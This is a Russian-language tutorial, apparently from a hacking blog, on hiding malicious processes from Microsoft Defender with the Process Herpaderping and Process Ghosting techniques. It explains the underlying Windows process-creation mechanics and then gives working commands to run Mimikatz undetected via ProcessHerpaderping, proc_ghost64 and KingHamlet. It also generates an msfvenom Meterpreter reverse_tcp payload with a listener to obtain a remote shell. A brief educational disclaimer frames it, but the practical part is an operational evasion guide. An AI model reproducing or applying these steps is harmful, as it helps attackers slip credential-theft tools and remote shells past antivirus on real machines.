Скрывать процессы от антивирусов — важная задача не только создателей вирусов (см. также Как ловят создателей вирусов), но и пентестеров (этичных хакеров). Для сокрытия процессов существуют различные способы. В этой статье рассмотрим два из них: Herpaderping и Ghosting. О других техниках — Hollowing и Doppelgänging — поговорим в отдельной статье.
Еще по теме: Как создать и скрыть вирус для Windows
Как скрыть процессы от антивирусов
В этом примере я буду использовать Microsoft Defender и Mimikatz.
Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы, были использованы наши собственные устройства. Использование техник обхода антивирусов на чужих устройствах без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Особенности процессов
Как антивирусы узнают, что в ОС был запущен какой‑то процесс?
Microsoft позволяет разработчикам антивирусного ПО получать с помощью API все нужные им события например:
1 |
PsSetCreateProcessNotifyRoutineEx |
Когда создается процесс, Defender (да и другие антивирусы) сразу узнает об этом, получая соответствующий Callback. Теперь он может анализировать исполняемый файл и принять решение, разрешить данный процесс или нет (не будем затрагивать тему статического анализа).
Прикол в том, что уведомление CreateProcessNotify — совсем не про создание процесса. Callback полетит в тот момент, когда внутри данного процесса возникнет первый поток (thread). В промежуток, когда процесс был создан и антивирус узнал об этом творчески используется злоумышленниками.
Важно понимать
Для тех, кто не в теме, напомню, что исполняемый файл — это не процесс. Исполняемый файл может быть связан со различными процессами (откройте Task Manager и посмотрите, сколько и какие процессы связаны, например, с svchost.exe). Все процессы всегда будут связаны с каким‑нибудь PE-файлом (.dll, .exe и т.д). А процессы предоставляют необходимые ресурсы, для запуска и выполнения приложений.
Процесс содержит виртуальное адресное пространство, исполняемый код, открытые дескрипторы для системных объектов, контекст безопасности, уникальный идентификатор процесса, переменные среды, класс приоритета, минимальный и максимальный размеры рабочего множества и как минимум один поток выполнения.
Поток — это базовая единица, в которой ОС выделяет процессорное время. Поток может выполнять любую часть кода процесса, включая части, которые в конкретный момент выполняются другим потоком.
Создание процесса
Рассмотрим этапы создания процесса:
- В начале для исполняемого файла мы получаем дескриптор (handle), который запускаем, например таким образом:
1hFile = CreateFile(“C:\Windows\System32\svchost.exe”) - Создается image section например:
1hSection = NtCreateSection(hFile, SEC_IMAGE)
Image section представляет собой особый раздел и служит для отображения файла (или части файла) в память. Раздел соответствует PE-файлам и может быть создан только в них. - Создается процесс в image section например:
1hProcess = NtCreateProcessEx(hSection) - Назначаются аргументы и переменные среды например:
1CreateEnvironmentBlock/NtWriteVirtualMemory - Создается поток для выполнения процесса например:
1NtCreateThreadEx
Имейте ввиду: процессы запускаются из исполняемых файлов, но информация внутри исполняемого файла может меняться относительного того, что находится в image section (так как она кешируется memory manager).
Сканирование процесса в поисках вредоноса
Как мы уже говорили, антивирусное ПО может получать уведомления о событиях создания процессов и потоков:
- PsSetCreateProcessNotifyRoutineEx
- PsSetCreateThreadNotifyRoutineEx
Выглядит это дело как-то так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
typedef struct _PS_CREATE_NOTIFY_INFO { SIZE_T Size; union { ULONG Flags; struct { ULONG FileOpenNameAvailable : 1; ULONG IsSubsystemProcess : 1; ULONG Reserved : 30; }; }; HANDLE ParentProcessId; CLIENT_ID CreatingThreadId; struct _FILE_OBJECT *FileObject; PCUNICODE_STRING ImageFileName; PCUNICODE_STRING CommandLine; NTSTATUS CreationStatus; } PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO; |
Из интересного: FILE_OBJECT соответствует дескриптору NtCreateSection. Если же мы взглянем на API NtCreateProcess, то увидим там тоже дескриптор раздела, а не файла.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
NTSYSCALLAPI NTSTATUS NTAPI NtCreateProcess( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ParentProcess, _In_ BOOLEAN InheritObjectTable, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort ); |
Отличия двух техник
Для простоты я свел отличия описываемых в статье техник в таблицу.
Техника | Действия |
---|---|
Hollowing | map → modify section → execute |
Doppelgänging | transact → write → map → rollback → execute |
Herpaderping | write → map → modify → execute → close |
Ghosting | delete pending → write → map → close(delete) → execute |
Herpaderping
Нам потребуется mimikatz.exe, целевой исполняемый файл (тут можно указывать что угодно, у нас это будет hack.exe) и любой файл, не вызывающий подозрений у антивирусных программ. Разберем методику
Herpaderping по шагам.
- Write. Создаем и открываем hack.exe, копируем в него mimikatz.exe, дескриптор не закрываем.
- Map. Создаем image section и мапим содержимое в память.
- Modify. Создаем процесс с дескриптором ранее созданного раздела. После этого меняем содержимое файла hack.exe, копируя туда что‑нибудь легитимное. Помните важный момент из раздела про создание процесса? Так вот это он и есть: с этого момента то, что у нас в памяти, и то, что хранится в файле, отличается.
- Execute. Создаем initial thread. Только сейчас антивирусу летит process creation callback. Различие содержимого в файле и в памяти сводит с ума Defender, он не может понять, можно ли разрешать выполнение этого процесса.
- Close. Закрываем открытый дескриптор.
Herpaderping на практике
За всеми действиями будет наблюдать полностью обновленный Microsoft Defender. Естественно, если дропнуть на диск Mimikatz или пейлоад из MSFvenom в «чистом» виде, он тут же будет обнаружен антивирусом. Нам нужно обойти статический анализ, но этот этап мы сейчас рассматривать не будем.
Клонирум проект из GitHub и собираем его:
1 2 3 |
git clone https://github.com/jxy-s/herpaderping.git cd .\herpaderping\ git submodule update --init –recursive |
Выполняем команду:
1 |
ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe |
Как мы видим, все выполнилось успешно, Defender не среагировал. Давайте взглянем, что покажет нам ProcessHacker.
У нас исполняется не mimikatz.exe, а hack.exe. А еще у нашего приложения hack.exe есть сертификат, выданный Microsoft.
Ну а сам hack.exe спокойно лежит на рабочем столе.
Этот прием работает не только с Mimikatz: давайте пробросим себе сессию Meterpreter. Для этого сгенерируем полезную нагрузку и запустим листенер:
1 |
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=9001 -f exe > met.exe |
1 2 3 4 5 |
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.197 set LPORT 9001 exploit |
Выполним те же действия и глянем, прилетела ли сессия.
Получилось!
Ghosting
Для использования этого метода нам опять же потребуется наш исходный файл (mimikatz.exe) и целевой исполняемый файл. В качестве такового можно указывать что угодно, у нас это будет уже привычный нам hack.exe. Как и в прошлый раз, разберем технологию по шагам.
- Delete pending. Delete Pending — это состояние, при котором файл еще не удален, потому что дескриптор на него открыт. Как только дескриптор закроется, файл удалится. Создаем файл и переводим в состояние delete-pending, используя NtSetInformationFile (FileDispositionInformation). Использование FILE_DELETE_ON_CLOSE не удалит файл.
- Write. Копируем наш исходный исполняемый файл в созданный файл. Содержимое не сохраняется, так как файл находится в состоянии delete-pending. Также это состояние блокирует попытки открыть файл извне.
- Map. Создаем image section и мапим содержимое в память.
- Сlose(delete). Закрываем дескриптор, файл удаляется.
- Execute. Создаем процесс с дескриптором ранее созданного раздела. Создаем initial thread. В этот момент антивирусу направляется process creation callback, но файл уже удален. Попытка открыть его завершится с ошибкой STATUS_FILE_DELETED. Если попробовать открыть файл до того, как он будет удален, получите ту же самую ошибку.
Ghosting на практике
Клонирум проект и собираем. Либо качаем уже собранный проект из GitHub.
Выполняем команду:
1 |
proc_ghost64.exe mimikatz.exe hack.exe |
Как мы видим, снова все выполнилось успешно и Defender не среагировал. Теперь давайте оценим информацию, которую предоставит нам ProcessHacker.
Стоит обратить внимание на еще один инструмент, который реализует данную технику, — KingHamlet. Он также реализует возможности криптования исходного пейлоада:
1 |
KingHamlet.exe mimikatz.exe key |
А process ghosting используется на следующем шаге:
1 |
KingHamlet.exe mimikatz.exe.khe key hack.exe |
KingHamlet также отработал успешно. В ProcessHacker мы увидим следующее.
Заключение
Поведение Microsoft по отношению к описанным в этой статье методам не до конца понятно. То компания заявляет, что выпустила закрывающий патч, то Microsoft Security Response Center (MSRC) неожиданно сообщает: проблема не соответствует критериям, требующим выпустить обновление безопасности или инструкции по предотвращению атак.
Но как видим, пока эти механизмы работают без каких‑либо трудностей, главное — обойти статический анализ.
Полезные ссылки: